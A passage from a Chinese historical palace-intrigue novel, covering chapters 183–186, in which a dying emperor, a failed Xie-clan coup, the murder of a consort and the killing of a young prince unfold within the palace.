又是一阵短暂的沉默,然后萧盈有意转了个话题,问她:“袁增死了吗?”
明绰点了点头,“嗯”了一声。在萧盈休息的时候,廷尉已经有人来报过了大将军暴毙。
萧盈看着她:“什么时候放人?”
“过两天吧。”明绰低着头,“案子查清楚了,总还有家财要抄没,该处置的处置完了,才说得过去。”
萧盈没有异议。他又把眼睛闭上,似是攒了攒力气,才轻声道:“可惜。”
明绰看着他:“可惜什么?”
萧盈:“本想借着抬举寒门……”
他没把话说完,只有一声无力的长叹。无论袁增自己是如何声称的,袁氏就是实打实的寒门。大雍立国以来,袁增还是第一个纯靠军功走到位极人臣的寒门子弟。
这当然是萧盈有意为之。可是他又同时选择了减少征伐、与民休养的国策,立军功的机会少了,二十年来毕竟只出了一个袁增。他曾经短暂地改变了局面,然而到最后,袁氏与桓、谢、崔、王也没什么区别。
皇权受世家大族制约,但也要靠世家大族来维持统治。他永远是顾得了这头,就顾不上那头。一切都在重复上演,其实他什么都没有能够改变。面前横着的是一座怎么搬也搬不走的山,而他没有时间了。
明绰听明白了他没说出口的那些话,突然道:“此事简单。不然让晔儿南下,跟当年羌人一样,把这些世家都杀绝户了,大家都清净。”
萧盈一条眉毛高高地扬起来,睁着眼睛看了她一会儿,硬是没找出话来讲,只能笑了一声。然后反手拍了拍明绰的手背,又问她:“你小时候是不是很不服气?”
“什么?”
“太父总说你不如我,”萧盈自嘲地笑了笑,“但我瞧着,大燕在你手里的时候挺好的。”
萧盈顿了顿,握紧她的手,声音却很轻:“如果当年就是你……你会不会其实比我做得更好?”
明绰猛地别过了脸,控制着眼泪不要往下落。其实大燕也有稳如磐石的西海权贵势力,她花了快十年都没有处理好,最后还搭上了乌兰徵一条性命。但是明绰不愿再说这些。
是很不服气的。当年的明绰站在皇兄身后,丝毫没有掩饰过脸上的骄傲。他们从未明说过这场隐秘而漫长的争夺,它有时以爱为面目,有的时候被裹挟在恨当中。没有一个词可以形容,偏偏如鲠在喉,如芒在背。
可是即便如此。
“在洛阳的时候,我也经常会想,要是你会怎么做。”明绰把他的手拉起来,依偎到自己的颊边。她的眼泪还是涌出来,沾湿了他的指缝。
萧盈没有回答。他只是看着她,那一瞬间竟比任何时候都要更恨谢拂霜。他不想死。他太想、太想,就这样,再多看她一会儿。他轻轻地张开了手臂,明绰便往前倾了倾,投进了他的怀里。
萧盈抱着她。极度虚弱带来的眩晕再一次袭来,有那么很短的一瞬间,他不确定自己在哪儿。他又闻到了掖庭宫里那股灰尘的味道,枯骨一般的手指抓住了他。谢拂霜在朝他微笑。
再给一点点时间,就好了……萧盈闭上眼睛,在心里无声地跟死去的人讨价还价。让他再为溦溦,做最后一件事。
第184章
萧玉襄被保母牵着,不情不愿地进了殿。裴舜英坐在妆奁前,正独自抹眼泪。听到进来的脚步声,她赶紧先把脸上的眼泪擦了,转过头来,勉强对她露出了一个笑容:“玉襄……回来了?”
萧玉襄板着脸,不肯说话。她的保母看不下去,小声劝了一句,让公主行个礼。
小公主之前不知道去哪儿了,一整晚都没回来,她们吓得都不知道怎么办。陛下不大好了,她们哪里敢去含清宫打搅。满宫里只有裴贵嫔上心,自从那天以后,又把她接到了身边。
人心都是肉长的,保母难免觉得小公主也太没心肝了。
“好了。”裴舜英软声软气地制止了一句,用口型问了保母一句,“又去哪儿了?”
保母露出了一个为难的表情,那就不必说了,肯定是栖凤宫。其实自从长公主说过以后,栖凤宫守得更严了,也不知道
崇安公主是怎么还能够进出自如的。
裴舜英听完,也不敢如何管教公主,脸上带了些讨好的神色,道:“先去换身衣服吧,我们得赶紧……”
她话还没说完,萧玉襄就突然抬起了头,也不称呼她:“我饿了。”
裴舜英愣了一下,小公主大清早起就不见了人影,她猜着就是去栖凤宫了。那里头是萧玉襄的亲娘,怎么还能饿着她?可是她既然这样说了,裴舜英就赶紧让人去准备。宫人领了命下去,两人便相对无言。
萧稷正坐在软垫上,手里玩着一个塞着棉的布老虎,叫了声“姐姐”。萧玉襄听见他叫,便走过去,也坐在那软垫上,把弟弟抱进了怀里。
裴舜英有些局促,也不知道是不是跟萧玉襄说话,小声道:“那就先吃点东西再说……”
萧玉襄听见了,但她没理睬。只有萧稷手里抓着布老虎,在模仿老虎叫的声音。直到宫人送来了吃食,才打破了她们之间有些尴尬的沉默。
让裴舜英没想到的是,萧玉襄看起来饿得很厉害。端上来的是一碗羹,她也不嫌烫,大口大口地喝,两口就呛着了。倒是把裴舜英吓了一跳,忙给她拍了拍背:“慢点儿……怎么饿成这样了?”
刚说完,又发现萧玉襄的袖角和衣角都是脏的,不知道去哪里蹭来的灰。她伸手想给孩子理一理,但是萧玉襄一下子抽回了手,裴舜英只好赔了个笑脸,不去动她了。
萧玉襄这才继续端起了碗,埋头吃饭。
宫里当然不至于饿着谢星娥,栖凤宫里是有饭食的,但她今日是偷偷进去的,自然没有饭给她吃。她没跟任何人说,她发现,栖凤宫里的守卫全都被换过了。
萧玉襄之前总跟守卫周旋,想尽办法要进来看母后,每个人的脸她都认得。可那天晚上谢维把她送进栖凤宫,第二天她出来的时候就发现门口站着的几个人都是生面孔,所以她今天是掐准了原本该守卫换班的时候又回去看,发现还是那几个人。
她等了没一会儿,就看见谢维来了,这一次还带来了一个和父皇差不多年纪的男人,应该是他的儿子。他似是没发觉门口换了人,说了几句,就带着他的儿子一道进去了。萧玉襄等了一会儿,也跟上去。那守卫的朝她行了个礼,竟然一句话也没有,就这么放她进去了。
萧玉襄轻车熟路地去了母后的寝殿,却发现没人。她这才反应过来,如果母后要见客,当然是在正殿里。可她正要出去的时候,就听见脚步声过来。萧玉襄下意识地往床底下一钻,果然是母后和两个男人的声音。老一些的那个就是她知道的谢维,年轻的那个,她听见母后叫他“谢运”。
床下什么也看不见,只有三个人的鞋子在走来走去。他们似乎是在争论着什么,母后不愿意听,就坐在了梳妆台前。萧玉襄从床底下看她动作,就知道她又在篦头。自从后位被废,母后生了许多白发,她日日都要拿药油篦头。寝殿里果然一股松油香气。
那父子两继续争论,话赶着话,谁也不让谁说完。萧玉襄在床下听着,好像是谢运非要父亲带他来见谢星娥,还想努力说服父亲做什么,但是谢维似是不愿意。他还说了一句“没有废后复立的道理”,谢运又说,不必复立,等新帝登基,另行册封太后就是了……
萧玉襄觉得很奇怪,她听得出来他们是在议论母后,但是她从小的规矩就是议论也不能当着人的面说,可他们却好像谢星娥听不到似的。怪不得母后一个劲的篦头,也不想搭理他们吧。
直到他们说到,“长公主会效仿当年的太后”一句,母后突然很用力地把角梳扣在了案上。那角梳早已因天干而开裂,被她这一下拍得当即从中间断成两截,发出了极响亮的“啪”一声。
谢维父子一时都安静下来,转过来看着镜前的谢星娥。
“你也说了,”谢星娥开了口,“她对平阳王的感情更深厚些,既然更心疼大的,却选择扶立小的,能是为了什么?”
谢维没说话。但是他儿子接了口:“自然是为了下手的时候不心疼。”
接下来谢维就几乎没有开过口了,主要是谢运在说话。那些话萧玉襄大部分都没听懂,因为提到了太多她不知道的人。从床底下看出去,能看到谢维的脚一直在打转,连萧玉襄都感觉得出来他的焦虑。
谢运说了什么“兔死狗烹”,又说什么“坐以待毙”,这些都是萧玉襄学过的词,但她怎么也听不懂,只感觉他越说越生气。到后来又开始变成了哀求似的口吻,让父亲“替谢家想想”。
一直说到后来,他似是也倦了,三个人就都沉默下来。再开口的,便又是她的母后。
“阿叔既这样忠心耿耿,又何必带了儿子来我这里?”母后的声音冷冰冰的,“我在这儿好好的,又没求你们来帮我!”
谢维的脚停下来,似是让谢星娥堵得无话可说。
谢运又道:“父亲何必还要顾念什么旧情,她可曾顾念自己还是一半的谢氏血脉?咱们费了这么大的力气,也就不痛不痒地杀了老子,儿子还是照用不误!她眼下可是去廷尉府亲自接人了!”
谢维叹了一声:“长公主本就没想……”
“到了召重臣近侍入内侍疾的地步,她把袁氏兄弟都接回去了,却没有咱们父子的份,这是什么意思,父亲还要继续骗自己吗!”
萧玉襄心里一紧,“入内侍疾”四个字她还是听得懂的。这段时间以来,裴贵嫔随时都准备着带弟弟“入内侍疾”。每每提及这个词,还伴随着她们心照不宣、意味深长的眼神。
萧玉襄模模糊糊地明白,裴贵嫔说的侍疾,跟姑母一直在做的那种侍疾是不一样的。若是近臣、妃嫔都要去侍疾,也就意味着,她的父皇要驾崩了。
“你刚才在哭什么?”萧玉襄突然问裴舜英。
裴舜英的眼神躲了躲,她不知道该如何告诉小公主。
萧玉襄见她不说话,便把碗放下,抬头看着她。裴舜英打扮得相当庄重,但是并不招摇,再看萧稷,虽然还在玩他的布老虎,但也是穿着出门的衣裳。萧玉襄明白了什么,低下头,一滴眼泪“啪”地滴进了刚才的空碗里。
她一哭,裴舜英马上也跟着落泪,但她强忍着,安慰地握住了萧玉襄的肩膀,轻声道:“公主别太难过了,你放心,陛下既然把稷儿交给了我,你是他的亲姐姐,我不会不管你的。”
萧玉襄抬头看着她,眼泪断线珠子似的往下落,一边下唇剧颤,好像有什么活物要从她嘴里钻出来:“你……”
裴舜英微微睁大了眼睛,还是很温柔的语气:“怎么了?”
萧玉襄突然抓住了她的手:“你跑吧!”
“什么?”
“你快跑……”
外面突然传来了几声不明的重响,一下子盖过了萧玉襄犹豫不决的警告。然后便是不祥的惨叫,似是宫里的人想阻拦什么人,但瞬间就被放倒了。
萧玉襄浑身一抖,像一头受到了惊吓的小兽,突然转身回去,一把抱起了弟弟。裴舜英在那一瞬间意识到了危险,陛下病危,又只有建安王一个继承人在宫里,这时候出现这种动静绝对不是什么好事。但她来不及想萧玉襄为什么会提醒这一句,她是不是知道些什么——在那个当下,她下意识的反应是打开了柜子,把萧玉襄姐弟塞了进去。
“别出声!”裴舜英只来得及对她说了几个字,柜门便牢牢地关了起来。萧稷藏在姐姐怀里,茫然地发出了两个音节,被萧玉襄一把捂住了嘴。萧稷不明白,以为姐姐在跟他玩,于是他也伸出了手捂住了姐姐的嘴。萧玉襄紧紧咬着嘴唇,极力想控制全身的颤抖,可是眼泪还
是不受控地往外涌。
“你们要干什么……?”裴舜英的声音在颤抖,好像难以置信看到的是谁,“谢,谢史君……?”
“今日重臣皆已入宫,我们只要封禁宫门,带着建安王去含清宫,大事可成!”她在床下听见谢运说,“裴贵嫔是个没胆的,不怕她不听话。”
“别过来……”裴舜英在柜外哭了起来,“你们到底要干什么……?”
谢维问她:“贵嫔,建安王在哪儿?”
可是裴舜英只会哭,越哭越大声,盖过了柜子里小女孩惊恐的喘息和啜泣。什么都不懂的萧稷反而变得非常安静,小手不再捂着姐姐的嘴,而是擦了擦姐姐的眼泪。
“不如杀了那个贱人!”这是母后的声音。萧玉襄在床下被吓得倒抽了一口冷气,外面的声音一瞬间都停下来,萧玉襄的心一下子提到了嗓子眼。
谢维又开口了,语气带着安抚:“贵嫔,把建安王交出来,不会有事的。”
“稷儿已经……已经去侍疾了……”裴舜英抽噎着,听起来已经吓得语无伦次,竟然还扯出了一个谎。
柜门“吱”一声,被开出了一条缝。萧玉襄浑身的血液都凝结住了似的,生怕有人听到。但是裴贵嫔哭得那么大声,没有人朝这边看一眼。萧玉襄从窄窄的一条缝里看出去,看到她跌坐在地,精心梳过的发髻已经散了。站在她面前的正是谢维父子,他们背后带了好多人,站满了内殿。
然后谢星娥从他们身后走了出来,挽了髻,涂了妆,和从前做皇后的样子别无二致。裴舜英怎么也没有想到会看见她,一时连哭都忘记了。
“出来!”母后的手伸到床下,像抓一只老鼠似的,把萧玉襄抓了出来。谢维父子都围上来,然后在看清楚是谁的那一瞬间,所有人都愣住了。
“养我的儿子,养得很高兴吧?”谢星娥倾身逼近了裴舜英,看着她那张脸,露出了一个快意的笑,“‘稷儿’,好亲热啊,怎么?你还敢要他叫你娘吗?”
裴舜英颤抖着:“皇后……”
谢星娥直起了身:“你还记得本宫是皇后啊。”
萧玉襄哭了起来,胡乱地摇着头,哀求母亲:“不要,娘……我不要!”
上一次母后让她去“做一点小事”,换来的就是父皇再也不来看她了,直到今天,萧玉襄都没有得到父皇的原谅。现在母后又要她去“做一点小事”,让她回去拖住裴贵嫔,别让她带着弟弟去含清宫。
谢星娥狠狠地掐着她的手腕,那上面还有之前她烫出来、刚好的伤痕。她逼近女儿,每说一个字,气息都吐到她的脸上:“你还记得我是你娘啊?”
“杀了她。”谢星娥说。
柜门被整个推开:“不要!”
一切都发生得太快。裴舜英突然站了起来,猛地扑向了谢星娥。谢星娥听到女儿的声音,转头在看,未设防之下被她扑倒在地。两个女人的声音同时响起来,萧稷“哇”的一声大哭了起来,谢维手下的人提刀逼近,谢星娥又喊:“别伤我的孩子!”
谢运动手了。裴舜英被揪着头发,狼狈地被他在地上拖拽了几步。谢星娥站了起来,嘴里仍在骂:“你这贱人——”
裴舜英突然爆发出了她此生最大的音量:“玉襄!跑啊!”
萧玉襄抱住了弟弟,什么都来不及想,闷头往前冲。谢运离得最近,伸手想拦,但是裴舜英发了疯一般,突然奋起来,狠狠在他腰上一撞。萧玉襄听见了后面传来的混乱,母后和谢家的父子同时在下令,还有让她浑身血都凉透的一声闷住的惨叫。萧稷还在她耳边用最尖利的声音哭叫,反而让她什么都不用去听,也不必回头。
她用尽全身的力气,往含清宫跑去。
第185章
血腥味在宫室里慢慢地蔓延开来,裴贵嫔伏倒在地,一摊血迹正缓慢地从她身|下沁出。她的神色非常平静,只有眼睛微微睁大,显得楚楚可怜,好像只是一不小心摔倒在地,而不是被人丧心病狂地在胸腹连捅了近十刀。
谢维皱着眉,看了一眼尸体,又看着脸色苍白、抖若筛糠的谢星娥——杀人者竟比丧命者看起来还要凄惨。他实在没想到谢星娥会下这么狠的手,可能连谢星娥自己都没想到她有一天会亲手杀人。
承景宫里没有一个人敢说话,宫人们都战战兢兢,只敢缩在角落里哭。谢星娥似是被她们哭得心烦,还想发作,但是谢维看了她一眼。谢星娥抿紧了嘴,到底还是什么也没说。
谢维有些心烦意乱地又在承景宫里踱起了步。
他一直是相当犹豫的。当年追随谢拂霜的时候,他至少还是执金吾卫的中尉,手里切切实实有兵。谢拂霜也是掌权十几年的太后,于法理、于人望,皆是名正言顺。如今的谢星娥连谢拂霜的一根头发都比不上,除了是萧稷的生母以外,她手里没有任何筹码。
但谢运说的那些话也不是完全没有道理。长公主毕竟姓萧,她对于谢家是没什么私心的,谢维自知到她面前没什么谈亲情的资格。陛下无论如何都不愿意容下谢氏,临到病危了还要亲自处置谢运,长公主也没有说一句话。
这样的态度,谢维很难抱有什么指望。就算长公主以后青出于蓝,坐到了比她母亲当年都高的地位,她愿意给谢家的也不会太多。
——更何况,她也未必能成。最后彻底说服了谢维的,就是儿子的这句话:“若是能成,姑母当年早就成了。”
如果长公主终有一日要步她母亲的后尘,那失败的结局已然写定,谢维不愿意再犯第二次相同的错误。
谢运从外面快步走进殿来,打断了父亲的思绪。谢维抬起头,看见他手里空空,心里便是一凉。谢星娥更是尖利地质问起来:“稷儿呢!”
萧稷已经不是个婴儿了,三四岁的孩子,成年人抱久了都费劲,何况萧玉襄只是个单薄的小丫头。谢运让父亲看得面有惭色,结结巴巴地替自己辩解了一通。宫墙弯弯绕绕的,追出去就已经不见了人影……
谢维没听他说完就抬了抬手,让他住口。
他们的人手远远不够,谢维现在手里没有兵,谢运也被停职
待察,仓促之间能够召来的只有曾经的旧亲信——这么十几个人已经是极限,再多就很难神不知鬼不觉地进宫。
但谢维本来也没有想要把动静闹得太大。当年谢拂霜败就败在顾忌着谢郯的尸身,没有立刻攻入温泉宫。声势浩大反而难以成事,他们只要神不知鬼不觉地控制住建安王,到含清宫逼迫萧盈下诏让谢氏辅政,这十几个旧部就已经够用了。
可是现在那孩子跑了。
谢维果断地转过身,从承景宫走出去:“传长公主的令下去,即刻封禁宫门,任何人不得随意出入!”
“长公主的令?”
李俦困惑地眨了眨眼,确认似的,反问了一遍:“长公主已经回宫了?”
来传信的执金吾卫摇了摇头:“是谢史君来交代的。”
李俦“哦”了一声,倒是并未起疑。
眼下守着陛下的只有李俦一个人。经历了上一次病危时的手忙脚乱,这一次陛下要“从容”得多,越是位高权重的反而越不许近前侍疾,都被控制在了含清宫左近的宫室里。含清宫里除了太医,就唯有这个位置不高的近侍,他的任务就是记录下陛下临终前的每一句话。
长公主恐怕还是不放心,让人把宫门也一起封禁,也是情理之中。
李俦点了点头,便想让执金吾卫去,忽然听到身后有人问道:“是谁去传的令?”
李俦连忙转身行礼,口称“陛下”。但是萧盈无力地摆了摆手,让他不用多礼。他竟然下了床,就站在罗帐后,手里撑着一根柱子才站稳。那执金吾卫也跪倒在地,又说了一遍,是谢史君。
萧盈牵起嘴角笑了笑,往前走了两步。李俦赶紧起身来扶,但是萧盈没让,只让任之搭了把手。李俦胆战心惊地把手伸在那里,随时准备着陛下站不住似的。他的担心其实不无道理,萧盈的脸色太吓人了,尤其是嘴唇,几乎完全就是灰的,看不出一点活人的血色。只是一个坐下的动作,就缓了好几口气,才道:“是崔挺让你来问的?”
那执金吾卫低头应了一声:“陛下明鉴。”
崔挺倒是多长了个心眼。萧盈点了点头,只道:“既然是长公主的意思,你们照办就是了。”
那执金吾卫当即领了命,下去了。萧盈这才转过脸,对任之小声说了个李俦没听清楚的名字,让他去把此人召来。任之唱喏而去,李俦立刻到案前正襟危坐,以为陛下要交托什么遗命,恭恭敬敬地执笔蘸墨,准备一字不动地都记下来。
萧盈看到他的动作就笑了:“那不过是看守栖凤宫的殿中校尉,你不用记这个。”
李俦飞快地揣测了一番圣意:“陛下要召谢氏……?”
萧盈又笑了一声,没力气跟他解释这么多:“你先下去吧。”
李俦放下笔:“可是……”
“朕还没到要咽气的时候。”萧盈从袖中取出了一卷帛书,放在了自己面前,又道,“遗诏早已立好,你担心什么?”
李俦只好低头连称“不敢”,起身小步退了出去。
殿内一时只剩下了萧盈自己。
谢维果然动手了,萧盈闭上眼睛,又在心里盘算了一遍。那天晚上谢维把崇安公主送回了栖凤宫的时候,明绰的人就已经来报过了。长公主说过了严加看守,他们虽然不敢拦公主令史,但更不敢知情不报,这恐怕是谢维没有想到的——话又说回来,公主令史这个官名真是荒唐,其实萧盈每次听到都忍不住觉得,难为溦溦想得到。当时他无论如何都不肯答应起复谢维,明绰也是没法子了,生捏了这么个官出来。
就是那天晚上,萧盈就悄无声息地把栖凤宫的守卫换成了自己的人。
谢维在两天后去过一次,自己去的。守卫听了陛下的令,并不阻拦,但是谢维在栖凤宫呆了多久,又和废后说了什么,当天晚上就送到了含清宫。明绰这才知道萧盈做了什么。
明绰一开始还生气,认为陛下这是欲加之罪,谁会经得起他这样的试探呢?可是当她听到谢维对谢星娥谈论的是什么之后,明绰也沉默了。
他们打了个赌。含清宫今日召群臣入内侍疾,独独落下了谢维父子,同时借口命长公主去接袁氏兄弟复官,将她调开。若是谢维当真有所行动,萧盈要动手,明绰就不能再劝;反之,若是谢维什么都没做,萧盈就要答应,再不能有动谢氏的念头了。
明绰今天走的时候还跟他说,不过是发发几句牢骚,谢维不至于的。他又没有兵权,又是跟稷儿沾着亲的,他何必同样的错误再犯一遍?
是啊,他何必呢。萧盈闭上眼睛,一只手撑住了额头,心里没有打赌赢了的得意,只是想,她好像还是和小时候一样,太信任别人,总想着谁都要保全,那样天真,柔善……
其实明绰这些年里已经变了很多。萧盈第一次意识到明绰也有狠辣的那一面,是她为了自己要求夺去袁綦的所有军衔的时候。她现在的说一不二,果断勇决,有时都让萧盈惊叹——比如陈缙的自尽,又比如,他其实也没有想让明绰亲手去了结袁增。袁增怎么死都可以,但萧盈不希望明绰与袁綦之间走到夫妻相仇的地步。
可是明绰还是亲自去了,从头到尾都没怎么在意过袁綦。萧盈感觉得出来,明绰早已没有把自己放在那个“妻子”的位置上了。设身处地,他若是处置了某个妃嫔的父亲,而妃嫔依然要把他当成丈夫,这不就是身为君王的天经地义么?
他是如此,所以明绰也是如此。
明绰似乎已经并不天真,也谈不上柔善了。她驭下处事恩威并施,样样都不输萧盈自己,可谢维还是会背叛她。说到底,无非还是看轻了她。是不是她必须要像神明一般无所不知、无所不能,才能换得所有人对他天经地义的忠诚。
萧盈把手放下来,手指交错着,在桌上敲了敲。
殿门外有了人声,但没敢直接进来,还是任之先进来通传。任之小声地跪坐到了萧盈身边,禀报了一句,说崇安公主和建安王都到了。
萧盈看起来并不意外,传他们进来。那殿中校尉一只手抱着萧稷,另一只手牵着萧玉襄,进来向陛下行礼。
萧玉襄还在巨大的惊吓里没有回过神来。谢维料得不错,她根本抱不动弟弟,跑出去没几步的时候就没力了,只能把弟弟放下来,拽着他跑一段,见他连气都要喘不上来了再抱起来。弄得两个孩子都精疲力竭,其实也没跑出去多远。如果不是内宫的宫墙弯绕,再加上追在他们身后的谢运又有所顾忌,他们早就被追上了。
萧玉襄估算了一下承景宫到含清宫的路线,非常明智地选择带着弟弟躲进了御苑附近的一座空置的宫殿。她想把弟弟留在这里,自己跑去含清宫叫救兵。可是她说要走,萧稷就吓得大哭,怎么也不肯乖乖地停在原地。
那时谢维的声音就在离他们一墙之隔的位置,萧玉襄听见母后一直焦急地呼唤他们,可是生平第一次,她不敢应。脑子里只是想着,她跑出来的时候听到的那声惨叫是裴贵嫔吗?
然后谢维和母后的声音就都远了。萧玉襄躲到完全听不到他们的声音了才抱着弟弟走了出来,这一次,没走几步就碰上了栖凤宫那些脸生的守卫。萧玉襄已经分辨不出来他们是要保护他们还是要把他们交给谢维,她已经跑不了,也反抗不了了。但没想到的是,这一次,他们把她和弟弟带到了含清宫。
萧盈看着他狼狈的女儿,似是什么都明白,一句也没问。他抬了抬手,想让女儿上前来,但是她戒备而警觉地看着父皇。惊悸之后剩下的是麻木,麻木之下,反而比任何时候脑子都转得快。萧玉襄转头看了看送他们来的脸生校尉,再看看父皇。她也明白了。
那一瞬间,萧盈突然感到心脏被针刺了一下,不是他所熟悉的疼痛,仅仅是一闪而过的酸麻。他的女儿在那一瞬间无声地长大了,就像很多年前,他发现母后给他送来的药其实是剧毒的那一瞬间。他曾经以为,无论如何他不会这样对自己的孩子。可是萧玉襄现在跪在他面前,垂着眼,脸上是某种相似的木然。
萧盈放下了手,似是有些失落:“任之。”
任之立刻上前了一步,萧盈轻声道:“带公主先下去吧。”
萧玉襄没有反抗,她朝父皇磕了个头,站起来,跟着任之走了。殿中校尉向萧盈汇报了发生的事情,但也没什么是萧盈意料之外的,他沉默地听着,眼神落在了萧稷脸上。
殿中校尉说,建安王因为受到了巨大的惊吓,又被公主强行拖拽着疾奔,一度惊厥抽搐,好一阵才缓了过来。陛下要不要还是让太医来……
但他话没说完,萧盈就让他也下去了。然后他抬了抬手,示意儿子近前来。
萧稷比姐姐乖巧些,马上起身走到了父皇身边,跪坐好,这些都是裴贵嫔教过他的规矩。他抬起头,看着萧盈:“父皇。”
萧盈的手轻轻落在了他的头顶,摸了摸他的头发。小孩儿的头发很软,疾奔中出了汗,黏糊糊地沾在额上,萧盈顺手给他理了理,低头看着他。
明绰之所以沉默,是因为她听到,谢维第一次单独去栖凤宫和谢星娥议论的是,长公主日后会不会效仿当年的谢太后,为了自立为帝,有朝一日对萧稷下杀手。
说实话,萧盈也不知道明绰会不会。明绰的本性不是这样的,但人一旦走到那个位置,就无法再谈论本性了,这一点,萧盈比任何人都清楚。他看到明绰那一瞬间讳莫如深的眼神,就意识到,明绰其实自己也不知道未来她会不会这么做。
但她此刻是绝对无法下手的。她心里还有太多的善,这就是她和她的母亲最不同的地方,只有谢拂霜能狠得下这种心。
萧盈心里冒出这个念头的时候,就听见谢拂霜笑了一声。她坐在他面前,眼中含着几分讥诮,像是嘲讽他这么多年之后仍在为这桩“小事”耿耿于怀。
“你答应过,”谢拂霜提醒他当日在掖庭宫中无人听到的约定,“会把你欠她的都还给她。”
萧稷转过脸,顺着父皇的视线望向虚空。萧盈不知道孩子的眼睛是不是也看得到追来索命的亡者。
“你答应过。”谢拂霜又说了一遍。
萧盈还是沉默着,把孩子送到了谢拂霜手里。萧稷睁着眼睛,萧盈不得不伸手掩住了他的眼睛,他的眼睫颤动起来,宛如蝴蝶振起了翅膀。亡者无声地收紧手指,捏住了欲飞的蝴蝶。
第186章
含清宫外,一片寂静。
这是一个极其平常的午后,没有雪,空气干燥而冷冽。但比起不久前,已明显没有那么冷了,严寒如强弩之末,在灰蒙蒙的阳光下兵败如山倒,唯有在夜里才能悄悄地占回几分失地。
重臣们都在文英殿,那是太极殿边上附带的一个小小班房,如今外面守着的已经悄然换成了“长公主的人”。谢
维身后已没了人,只有谢星娥站在他身边。他们等了一会儿,才看到谢运回来。
他刚从宫外进来:“父亲。”
谢维让他不用多礼:“办妥了?”
谢运点了点头:“长公主已去平阳王府了。”
他奉父亲的命令,带人在平阳王府闹了一番,长公主那里听到的说法是,平阳王得知陛下病危,硬要破禁入宫。但圣旨严令圈禁,守在外面的执金吾卫不肯放行,若平阳王一意孤行,依令只能就地诛杀。可是他们也不能真的跟平阳王动手,去请长公主是唯一的选择。
其实长公主去了就会发现是怎么回事,但谢维不能让她现在就回宫。崔挺尚未起疑,重臣都在文英殿被看守,消息也传不出去,在长公主回来之前,谢维已经用她的名义掌握了整个皇宫,他仍有机会。
谢维抬起头,看定了台阶上巍峨耸立的宫殿,撩袍举步,带头向含清宫走去。
含清宫里面跟外面一样,寂静如死。
里面一个伺候的人也没有留,谢维一行人进去,无人通报,更无人阻拦。殿内的光线要比外面昏暗许多,地龙也烧得更热,把那股经年不散的药味熏出来,不由分说地扑向进门的每个人。谢运下意识地抬袖掩鼻,感觉这不是药味,而是行将腐朽的死亡的气息。
萧盈就端坐在殿中,身前一张矮几,其上空空如也,只有一卷帛书,显然就是遗诏。他好像根本没有听见他们进来的声音,安安静静地垂着头,有那么一瞬间,父子二人对视了一眼,竟不确定萧盈是不是还活着。
直到他毫无预兆地开了口:“你来了。”
萧盈抬起了头,平静地看着谢维。其实他们已经很多年没有打过照面了,即使后来谢维被擢为公主令史,萧盈也从未召见。他比少年时更加虚弱苍白,好像连掀起眼皮都耗去了大半力气,但他这一眼看过来,谢维还是浑身一个激灵,膝下一软,朝他行礼:“陛下!”
萧盈又垂下眼睛,还是很平静的语气:“你的时间不多了,朕的时间也不多了。别浪费。”
谢维竟不知道他这话是什么意思,一时冷汗如雨,反而是谢星娥不畏惧,她也没有跪下,上前了一步,问萧盈:“稷儿呢?”
萧盈看了她一眼,然后朝殿内歪了歪头。谢星娥抬起头,看见层层罗帐后的床榻上确实躺着一个小小的身影。她抬脚就往里走,只留谢维父子在外。
谢维终于开了口:“陛下该传位给建安王了。”
萧盈没说话。谢星娥已经靠近了床边,稷儿躺在那里,闭着眼睛熟睡,她便小声而温柔地唤了唤孩子:“稷儿……?”
谢维从袖中掏出了他已准备好的诏书,双手举至眼前:“建安王年幼,百官未睦,社稷危急,臣唯此忠良之心,扶保幼主,唯请陛下一言,使天下臣民知所归依……”
萧盈没听他说完,伸手把他那封诏书接过来看了一眼,毫不意外地看到他给自己加了太尉衔。萧盈没忍住笑了一声,谢维微微皱起了眉,刚要说话,却听到谢星娥声音诡异地变了个调:“稷儿?!”
下一刻,殿内传出了一声撕心裂肺般的惨叫,完全听不出是谢星娥的声音。谢运立刻掀开罗帐,几步走了进去,便看到萧稷被谢星娥抱在怀里,但是手和脖子都软绵绵地塌下来。那么小的一个孩子,谢星娥却像在抱一摊死水,越想捞起来,越是散落四方。她抬起头,无助地看着谢运,张开嘴却一个字都说不出来,只有不停地惨叫。谢运低下头,看见孩子露出来的脖子上清晰地沁出了青紫的指印。
谢维睁大了眼睛看着萧盈:“你……!”
萧盈好像根本没听到谢星娥的惨叫,眼睛只定定地看着谢维身侧:“母后把他带走了。”
谢维神经质地回转过头,但他身边一个人都没有,萧盈看定的只有虚空。他的母后?是说拂霜?谢维看着萧盈那张跟死人差不多灰败的脸上浮现出了一个诡异的微笑,就感觉浑身的汗毛都竖了起来。不知道为什么,他竟往前凑了凑,小声问了一句:“拂霜在这儿?”
萧盈很慢地把脸转过来,他的眼神有些涣散,要一会儿才能聚焦。但他脸上还是笑着,轻轻地点了点头,抬起手指了指。
谢维猛地退了几步,好像真的感觉到了来自幽冥的寒气。谢运气冲冲地从殿内冲出来,咬牙切齿地向父亲道:“他要立平阳王——”
萧盈和谢维谁都没有看他,谢运莫名其妙地了看了看突然脸色煞白的父亲,然后猛地伸出手,直接从萧盈面前拿走了他写定的诏书。
遗诏上有蜡封,被谢运粗暴地扯了开来。萧盈还在看着虚空,谢拂霜站在那儿,掩着唇,笑得十分开心。他从来没见谢拂霜这么笑过,于是他也跟着露出了笑容。
谢运一目十行地看完了诏书,眼睛瞪得恨不得掉到帛书上去,脸色也变得像他父亲一样苍白,喃喃着:“你疯了……疯了……”
他突然把诏书扔到地上,在殿中翻找起来。萧盈也不阻止,任他翻箱倒柜地弄得一团乱。谢维把那封诏书捡了起来,低头看了很长时间,好像很多字都不认识,得来来回回地读了确认。谢运找到了国玺,走回案前,摊开了父亲带来的那份诏书,两只手捧住了硕大的国玺,不由分说地盖了上去。
他没沾印泥,诏书上只留下了浅浅的几道红痕,但谢运眼中有一股狂热驱动着,让他忘记了萧稷毫无生气的身体,他把诏书举到谢维面前:“父亲,成了!”
谢维看了他一眼,露出了一个又像哭、又像笑的诡异神情。谢星娥的哭声还在回荡,但谢运听不见。下一刻,殿外突然传进了脚步声。
明绰提着裙子在跑,因为脚步太急,身后的大氅都鼓了起来,头上的步摇坠下的流苏缠在了一起,她也顾不得梳理。她看也没看谢维父子,也没有觉得他们有什么危险,就这么一阵风似的,直接卷到了萧盈面前,紧张得脸色煞白。
她身后还跟着人。谢运还没看清,已经被反手扣住,狠狠地摁在了地上,制得动弹不得。他看不清身边的情形,但已经听到了执金吾卫身上金甲互相碰撞的声音,还有谢维的头被摁到地上的时候,发出的那沉闷的一声“咚”。
摁住谢运的人没有穿金甲,只是喘气喘得很重,可谢运并没有
